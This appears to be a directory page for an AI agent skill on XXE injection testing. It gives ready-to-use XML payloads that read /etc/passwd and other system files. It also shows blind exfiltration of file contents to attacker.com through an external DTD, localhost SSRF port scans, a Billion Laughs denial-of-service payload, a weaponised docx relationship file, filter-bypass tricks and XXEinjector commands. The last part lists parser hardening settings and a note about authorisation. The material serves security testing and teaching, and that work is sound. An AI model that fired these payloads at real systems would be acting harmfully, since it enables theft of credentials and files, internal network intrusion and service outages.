SuperAPI AI Directory
Partner with us中文AI newsFavorites
Skillsxxe-testing

xxe-testing

Testing & quality

View repository

Updated 10-15 19:53

About this skill

XXE XML External Entity Injection Testing

Overview

XXE (XML External Entity) injection is a vulnerability that exploits XML parsers processing external entities. This skill provides methods for detecting, exploiting, and preventing XXE vulnerabilities.

Vulnerability Principle

When XML parsers process external entities, they may read local files, conduct SSRF attacks, or cause denial of service. Commonly found in:

  • XML document parsing
  • SOAP services
  • Office documents (.docx, .xlsx, etc.)
  • SVG images
  • PDF files

Testing Methods

1. Identify XML Input Points

  • File upload functionality
  • API endpoints accepting XML data
  • SOAP requests
  • Office document processing
  • Data import functionality

2. Basic XXE Detection

Testing external entities:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Testing network requests (SSRF):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>

3. Blind XXE Detection

When the response does not directly display content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
]>
<foo>&xxe;</foo>

Using parameter entities:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

evil.dtd content:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?%file;'>">
%eval;
%exfil;

Exploitation Techniques

File Reading

Reading local files:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Windows path:

<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">

SSRF Attacks

Internal network probing:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>

Port scanning:

<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">

Denial of Service

Billion Laughs attack:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<foo>&lol9;</foo>

Office Document XXE

docx file structure:

word/document.xml - 包含文档内容
word/_rels/document.xml.rels - 包含外部引用

Modifying document.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships>
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="file:///etc/passwd" TargetMode="External"/>
</Relationships>

Bypass Techniques

Different Protocols

PHP：

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

Java：

<!ENTITY xxe SYSTEM "jar:file:///path/to/file.zip!/file.txt">

Encoding bypass:

<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64">

Parameter Entities

Using parameter entities to bypass certain restrictions:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>test</foo>

Tool Usage

XXEinjector

# 基础使用
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml

# 文件读取
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd

Burp Suite

  1. Intercept requests containing XML
  2. Send to Repeater
  3. Modify XML content, add external entities
  4. Observe response or out-of-band data

Verification and Reporting

Verification Steps

  1. Confirm the XML parser processes external entities
  2. Verify whether file reading or SSRF was successful
  3. Assess the scope of impact (sensitive files, internal network access, etc.)
  4. Record the complete POC

Report Key Points

  • Vulnerability location and XML input point
  • Files that can be read or internal network resources that can be accessed
  • Complete exploitation steps and PoC
  • Remediation recommendations (disable external entities, use whitelists, etc.)

Protective Measures

Recommended Solutions

  1. Disable external entities

    // Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

  2. Use whitelist validation

    • Validate XML structure
    • Restrict allowed entities

  3. Use a secure parser

    • Use a parser that does not process DTDs
    • Use JSON instead of XML

Precautions

  • Conduct only in authorized testing environments
  • Avoid reading sensitive files and causing data leakage
  • Note the differences in XXE handling across different languages and libraries
  • Pay attention to file formats when testing Office documents